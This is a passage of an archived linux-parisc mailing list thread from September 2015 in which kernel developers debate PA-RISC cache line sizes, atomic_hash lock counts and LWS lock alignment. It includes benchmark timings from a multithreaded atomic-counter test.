 fJzzxJv+YF6UZdO4wdcS+7O1WrF6GSGFpv9h+DxBhovLkKcYpjOC+ddD4/l3MWiU520PuItWW
 IRf3aJBF/t+zFqJsiReCXHEhva9o3js6hKYyh9Pkh7SXZ2CQekp7OSthqvsFzjnMwMKoWauev
 1+sIfJj/4WV+eSBodiZfcCz46exWvCKu3r+aJVGMmKdngsdQXaazjyrJZKnsoalAP75Rkf3JA
 MLLmddXAxfilxo27bQ6guvWDJd1RsTbOEUyXg3/xVtJHTU4O3S3Jvq5rsoX3vopBxpxRKQM9i
 4EixEgGGwzlWISGGBrTjUF1ECoExfFQIEzau0A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26038>

On 23.09.2015 02:12, John David Anglin wrote:
> On 2015-09-22, at 12:20 PM, Helge Deller wrote:
> 
>> On 05.09.2015 23:30, Helge Deller wrote:
>>> Hi James,
>>> ...
>>> I haven't done any performance measurements yet, but your patch looks
>>> absolutely correct.
>>> ...
>>
>> Hello everyone,
>>
>> I did some timing tests with the various patches for
>> a) atomic_hash patches:
>>        https://patchwork.kernel.org/patch/7116811/
>> b) alignment of LWS locks:
>>        https://patchwork.kernel.org/patch/7137931/
>>
>> The testcase I used is basically the following:
>> - It starts 32 threads.
>> - We have 16 atomic ints organized in an array.
>> - The first thread increments NITERS times the first atomic int.
>> - The second thread decrements NITERS times the first atomic int.
>> - The third/fourth thread increments/decrements the second atomic int, and so on...
>> - So, we have 32 threads, of which 16 increments and 16 decrements 16 different atomic ints.
>> - All threads run in parallel on a 4-way SMP PA8700 rp5470 machine.
>> - I used the "time" command to measure the timings.
>> - I did not stopped other services on the machine, but ran each test a few times and the timing results did not show significant variation between each run.
>> - All timings were done on a vanilla kernel 4.2 with only the mentioned patch applied.
>>
>> The code is a modified testcase from the libatomic-ops debian package:
>>
>> AO_t counter_array[16] = { 0, };
>> #define NITERS 1000000
>>
>> void * add1sub1_thr(void * id)
>> {
>>  int me = (int)(AO_PTRDIFF_T)id;
>>  AO_t *counter;
>>  int i;
>>
>>  counter = &counter_array[me >> 1];
>>  for (i = 0; i < NITERS; ++i)
>>    if ((me & 1) != 0) {
>>      (void)AO_fetch_and_sub1(counter);
>>    } else {
>>      (void)AO_fetch_and_add1(counter);
>>    }
>>  return 0;
>> ...
>> run_parallel(32, add1sub1_thr)
>> ...
>>
>>
> 
> Does libatomic-ops now use the GCC sync builtins and the LWS calls?

Yes, if you apply the patch from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=785654
on top of the libatomic-ops debian package.
That's what I tested.

>> The baseline for all results is the timing with a vanilla kernel 4.2:
>> real    0m13.596s
>> user    0m18.152s
>> sys     0m35.752s
>>
>>
>> The next results are with the atomic_hash (a) patch applied:
>> For ATOMIC_HASH_SIZE = 4. 
>> real    0m21.892s 
>> user    0m27.492s
>> sys     0m59.704s
>>
>> For ATOMIC_HASH_SIZE = 64.
>> real    0m20.604s
>> user    0m24.832s
>> sys     0m56.552s
>>
> 
> I'm not sure why the atomic_hash patch would directly affect performance of this test as I
> don't think the patch affects the LWS locks.

True, but even so more, the patch should not have slowed down the (unrelated) testcase.
 
> I question the the atomic hash changes as the original defines are taken directly from generic code.
> Optimally, we want one spinlock per cacheline.  Why do we care about the size of atomic_t?

Assume two unrelated code paths which are protected by two different spinlocks (which are of size atomic_t).
So, if the addresses of those spinlocks calculate to be (virtually) on the same cacheline they would block each other.
With James patch the possibility of blocking each other is theoretically lower (esp. if you increase the number of locks). 

> The above indicate the change is detrimental.

Yes, true for patch (a), but not (b).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Wed, 23 Sep 2015 17:00:24 -0400
Lines: 119
Approved: news@gmane.org
Message-ID: <560312E8.5060303@bell.net>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
 <5602FDD7.6020501@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443042085 21221 80.91.229.3 (23 Sep 2015 21:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2015 21:01:25 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 23:01:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZerAA-0002rA-81
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Sep 2015 23:01:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755109AbbIWVBN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Sep 2015 17:01:13 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:33672 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755613AbbIWVAZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Sep 2015 17:00:25 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20150923210023.CFHD28936.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 23 Sep 2015 17:00:23 -0400
Original-Received: from [192.168.0.116] (really [64.231.92.167])
          by torspm02.bell.net with ESMTP
          id <20150923210023.IHCL26022.torspm02.bell.net@[192.168.0.116]>;
          Wed, 23 Sep 2015 17:00:23 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <5602FDD7.6020501@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.560312E7.0204,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26039>

On 2015-09-23 3:30 PM, Helge Deller wrote:
> On 23.09.2015 02:12, John David Anglin wrote:
>> On 2015-09-22, at 12:20 PM, Helge Deller wrote:
>>
>>> On 05.09.2015 23:30, Helge Deller wrote:
>>>> Hi James,
>>>> ...
>>>> I haven't done any performance measurements yet, but your patch looks
>>>> absolutely correct.
>>>> ...
>>> Hello everyone,
>>>
>>> I did some timing tests with the various patches for
>>> a) atomic_hash patches:
>>>         https://patchwork.kernel.org/patch/7116811/
>>> b) alignment of LWS locks:
>>>         https://patchwork.kernel.org/patch/7137931/
>>>
>>> The testcase I used is basically the following:
>>> - It starts 32 threads.
>>> - We have 16 atomic ints organized in an array.
>>> - The first thread increments NITERS times the first atomic int.
>>> - The second thread decrements NITERS times the first atomic int.
>>> - The third/fourth thread increments/decrements the second atomic int, and so on...
>>> - So, we have 32 threads, of which 16 increments and 16 decrements 16 different atomic ints.
>>> - All threads run in parallel on a 4-way SMP PA8700 rp5470 machine.
>>> - I used the "time" command to measure the timings.
>>> - I did not stopped other services on the machine, but ran each test a few times and the timing results did not show significant variation between each run.
>>> - All timings were done on a vanilla kernel 4.2 with only the mentioned patch applied.
>>>
>>> The code is a modified testcase from the libatomic-ops debian package:
>>>
>>> AO_t counter_array[16] = { 0, };
>>> #define NITERS 1000000
>>>
>>> void * add1sub1_thr(void * id)
>>> {
>>>   int me = (int)(AO_PTRDIFF_T)id;
>>>   AO_t *counter;
>>>   int i;
>>>
>>>   counter = &counter_array[me >> 1];
>>>   for (i = 0; i < NITERS; ++i)
>>>     if ((me & 1) != 0) {
>>>       (void)AO_fetch_and_sub1(counter);
>>>     } else {
>>>       (void)AO_fetch_and_add1(counter);
>>>     }
>>>   return 0;
>>> ...
>>> run_parallel(32, add1sub1_thr)
>>> ...
>>>
>>>
>> Does libatomic-ops now use the GCC sync builtins and the LWS calls?
> Yes, if you apply the patch from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=785654
> on top of the libatomic-ops debian package.
> That's what I tested.
>
>>> The baseline for all results is the timing with a vanilla kernel 4.2:
>>> real    0m13.596s
>>> user    0m18.152s
>>> sys     0m35.752s
>>>
>>>
>>> The next results are with the atomic_hash (a) patch applied:
>>> For ATOMIC_HASH_SIZE = 4.
>>> real    0m21.892s
>>> user    0m27.492s
>>> sys     0m59.704s
>>>
>>> For ATOMIC_HASH_SIZE = 64.
>>> real    0m20.604s
>>> user    0m24.832s
>>> sys     0m56.552s
>>>
>> I'm not sure why the atomic_hash patch would directly affect performance of this test as I
>> don't think the patch affects the LWS locks.
> True, but even so more, the patch should not have slowed down the (unrelated) testcase.
>   
>> I question the the atomic hash changes as the original defines are taken directly from generic code.
>> Optimally, we want one spinlock per cacheline.  Why do we care about the size of atomic_t?
> Assume two unrelated code paths which are protected by two different spinlocks (which are of size atomic_t).
> So, if the addresses of those spinlocks calculate to be (virtually) on the same cacheline they would block each other.
> With James patch the possibility of blocking each other is theoretically lower (esp. if you increase the number of locks).

I don't believe spinlocks have size atomic_t.  atomic_t is a different 
struct.

The arch_spinlock_t type is defined in spinlock_types.h.  It's size is 4 
on PA20 and 16 otherwise.
This is used for raw_lock field in declaration of the raw_spinlock_t.  
This is combined with some other
fields to create the spinlock_t type.  Through some tricky manipulation 
of the ldcw lock address field,
we avoid specifying any specific alignment for lock.  As far a I can 
tell, spinlock_t types can end up anywhere.

The set of set of locks in  __atomic_hash is used exclusively for 
operations on atomic_ts.  On PA20,
all are locks on PA8800/PA8900 are on two lines even with a size of 64.  
I think we can be a bit
more liberal with storage allocation.

Think ATOMIC_HASH_SIZE should be 
N*L1_CACHE_BYTES/sizeof(arch_spinlock_t) and we should hash
to one lock per line.  Another alternative to compare is hashing to 16 
byte increments.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800
 and PA8900 CPUs
Date: Thu, 24 Sep 2015 07:20:27 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <1443104427.2203.17.camel@HansenPartnership.com>
References: <20150902162000.GC2444@ls3530.box>
	 <1441287043.2235.6.camel@HansenPartnership.com>
	 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
	 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443104464 16715 80.91.229.3 (24 Sep 2015 14:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2015 14:21:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 24 16:20:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zf7OJ-0002k9-BF
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Sep 2015 16:20:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755757AbbIXOUy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Sep 2015 10:20:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53866 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755716AbbIXOUy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Sep 2015 10:20:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A5EE28EE36B;
	Thu, 24 Sep 2015 07:20:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3PhbNgJnq-1A; Thu, 24 Sep 2015 07:20:53 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2AFFE8EE056;
	Thu, 24 Sep 2015 07:20:53 -0700 (PDT)
In-Reply-To: <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26040
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26040>

On Tue, 2015-09-22 at 20:12 -0400, John David Anglin wrote:
> I question the the atomic hash changes as the original defines are
> taken directly from generic code.

It's about scaling.  The fewer locks, the more contention in a hash lock
system.  The interesting question is where does the line tip over so
that we see less speed up for more locks.

> Optimally, we want one spinlock per cacheline.  Why do we care about
> the size of atomic_t?

OK, so I think we're not using the word 'line size' in the same way.
When Linux says 'line size' it generally means the cache ownership line
size: the minimum block the inter cpu coherence operates on.  Most of
the architectural evidence for PA systems suggests that this is 16  We
should be able to get this definitively: it's however many lower bits of
a virtual address the LCI instruction truncates.  128 seems to be the
cache burst fill size (the number of bytes that will be pulled into the
cache by a usual operation touching any byte in the area).  For
streaming operations, the burst fill size is what we want to use, but
for coherence operations it's the ownership line size.  The reason is
that different CPUs can own adjacent lines uncontended, so one spinlock
per this region is optimal.

The disadvantage to padding things out to the cache burst fill size is
that we blow the cache footprint: data is too far apart and we use far
more cache than we should meaning the cache thrashes much sooner as you
load up the CPU.  On SMP systems, Linux uses SMP_CACHE_BYTES ==
L1_CACHE_BYTES for padding on tons of critical structures if it's too
big we'll waste a lot of cache footprint for no gain.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Thu, 24 Sep 2015 12:39:12 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <56042730.2050706@bell.net>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
 <1443104427.2203.17.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443112778 30813 80.91.229.3 (24 Sep 2015 16:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2015 16:39:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 24 18:39:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zf9YK-0005xt-HR
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Sep 2015 18:39:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752905AbbIXQjN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Sep 2015 12:39:13 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:60972 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752800AbbIXQjM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Sep 2015 12:39:12 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20150924163911.BWHC5820.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 24 Sep 2015 12:39:11 -0400
Original-Received: from [192.168.0.116] (really [64.231.92.167])
          by mtlspm02.bell.net with ESMTP
          id <20150924163911.YRDI29037.mtlspm02.bell.net@[192.168.0.116]>;
          Thu, 24 Sep 2015 12:39:11 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <1443104427.2203.17.camel@HansenPartnership.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.5604272F.011E,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26041>

On 2015-09-24 10:20 AM, James Bottomley wrote:
> On Tue, 2015-09-22 at 20:12 -0400, John David Anglin wrote:
>> I question the the atomic hash changes as the original defines are
>> taken directly from generic code.
> It's about scaling.  The fewer locks, the more contention in a hash lock
> system.  The interesting question is where does the line tip over so
> that we see less speed up for more locks.
>
>> Optimally, we want one spinlock per cacheline.  Why do we care about
>> the size of atomic_t?
> OK, so I think we're not using the word 'line size' in the same way.
> When Linux says 'line size' it generally means the cache ownership line
> size: the minimum block the inter cpu coherence operates on.  Most of
> the architectural evidence for PA systems suggests that this is 16  We
> should be able to get this definitively: it's however many lower bits of
> a virtual address the LCI instruction truncates.  128 seems to be the
> cache burst fill size (the number of bytes that will be pulled into the
> cache by a usual operation touching any byte in the area).  For
> streaming operations, the burst fill size is what we want to use, but
> for coherence operations it's the ownership line size.  The reason is
> that different CPUs can own adjacent lines uncontended, so one spinlock
> per this region is optimal.
>
> The disadvantage to padding things out to the cache burst fill size is
> that we blow the cache footprint: data is too far apart and we use far
> more cache than we should meaning the cache thrashes much sooner as you
> load up the CPU.  On SMP systems, Linux uses SMP_CACHE_BYTES ==
> L1_CACHE_BYTES for padding on tons of critical structures if it's too
> big we'll waste a lot of cache footprint for no gain.
It looks to me like the LCI instruction must zero bits rather than 
truncate as drivers
(e.g., sba_iommu.c) drop the least significant 12 bits (ci >> 
PAGE_SHIFT).  I think we
should do the LCI test.  I had been assuming that the two lengths would 
be the same.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800
 and PA8900 CPUs
Date: Thu, 24 Sep 2015 09:57:09 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <1443113829.2203.39.camel@HansenPartnership.com>
References: <20150902162000.GC2444@ls3530.box>
	 <1441287043.2235.6.camel@HansenPartnership.com>
	 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
	 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
	 <1443104427.2203.17.camel@HansenPartnership.com>
	 <56042730.2050706@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443113847 16000 80.91.229.3 (24 Sep 2015 16:57:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2015 16:57:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 24 18:57:17 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zf9pY-0007ZD-AR
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Sep 2015 18:57:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753108AbbIXQ5L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Sep 2015 12:57:11 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54459 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752805AbbIXQ5L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Sep 2015 12:57:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6FF408EE36B;
	Thu, 24 Sep 2015 09:57:10 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FuQ8eRBVRNzK; Thu, 24 Sep 2015 09:57:10 -0700 (PDT)
Original-Received: from [10.10.52.185] (unknown [4.53.145.52])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0F90E8EE056;
	Thu, 24 Sep 2015 09:57:10 -0700 (PDT)
In-Reply-To: <56042730.2050706@bell.net>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26042
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26042>

On Thu, 2015-09-24 at 12:39 -0400, John David Anglin wrote:
> On 2015-09-24 10:20 AM, James Bottomley wrote:
> > On Tue, 2015-09-22 at 20:12 -0400, John David Anglin wrote:
> >> I question the the atomic hash changes as the original defines are
> >> taken directly from generic code.
> > It's about scaling.  The fewer locks, the more contention in a hash lock
> > system.  The interesting question is where does the line tip over so
> > that we see less speed up for more locks.
> >
> >> Optimally, we want one spinlock per cacheline.  Why do we care about
> >> the size of atomic_t?
> > OK, so I think we're not using the word 'line size' in the same way.
> > When Linux says 'line size' it generally means the cache ownership line
> > size: the minimum block the inter cpu coherence operates on.  Most of
> > the architectural evidence for PA systems suggests that this is 16  We
> > should be able to get this definitively: it's however many lower bits of
> > a virtual address the LCI instruction truncates.  128 seems to be the
> > cache burst fill size (the number of bytes that will be pulled into the
> > cache by a usual operation touching any byte in the area).  For
> > streaming operations, the burst fill size is what we want to use, but
> > for coherence operations it's the ownership line size.  The reason is
> > that different CPUs can own adjacent lines uncontended, so one spinlock
> > per this region is optimal.
> >
> > The disadvantage to padding things out to the cache burst fill size is
> > that we blow the cache footprint: data is too far apart and we use far
> > more cache than we should meaning the cache thrashes much sooner as you
> > load up the CPU.  On SMP systems, Linux uses SMP_CACHE_BYTES ==
> > L1_CACHE_BYTES for padding on tons of critical structures if it's too
> > big we'll waste a lot of cache footprint for no gain.
> It looks to me like the LCI instruction must zero bits rather than 
> truncate as drivers
> (e.g., sba_iommu.c) drop the least significant 12 bits (ci >> 
> PAGE_SHIFT).  I think we
> should do the LCI test.  I had been assuming that the two lengths would 
> be the same.

It's a backwards compatibility problem: You get to fix the cache
ownership size once per incompatible architecture.  Once PA produced 64
bit chips was the last opportunity to do this because an older 64 bit
kernel (for PA and Linux) must work reasonably well on newer processors.
This means that if you increase the actual ownership size and the older
kernel suddenly starts thrashing because of SMP cache interference,
everyone blames you and says your new chips are rubbish (this did
actually happen to Intel once, if I remember correctly).  That's why
it's usually avoided.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 CPUs
Date: Fri, 25 Sep 2015 08:20:34 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <BA678D0F-591B-4925-A50B-852C0C3419F7@bell.net>
References: <20150902162000.GC2444@ls3530.box> <1441287043.2235.6.camel@HansenPartnership.com> <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de> <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net> <1443104427.2203.17.camel@HansenPartnership.com> <56042730.2050706@bell.net> <1443113829.2203.39.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1443183656 13299 80.91.229.3 (25 Sep 2015 12:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Sep 2015 12:20:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 25 14:20:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZfRzR-0004Po-Mc
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Sep 2015 14:20:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755960AbbIYMUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Sep 2015 08:20:37 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:58946 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755833AbbIYMUg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Sep 2015 08:20:36 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20150925122035.MTWI17053.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 25 Sep 2015 08:20:35 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm01.bell.net
          with ESMTP
          id <20150925122034.OFRD20298.mtlspm01.bell.net@[192.168.2.10]>;
          Fri, 25 Sep 2015 08:20:34 -0400
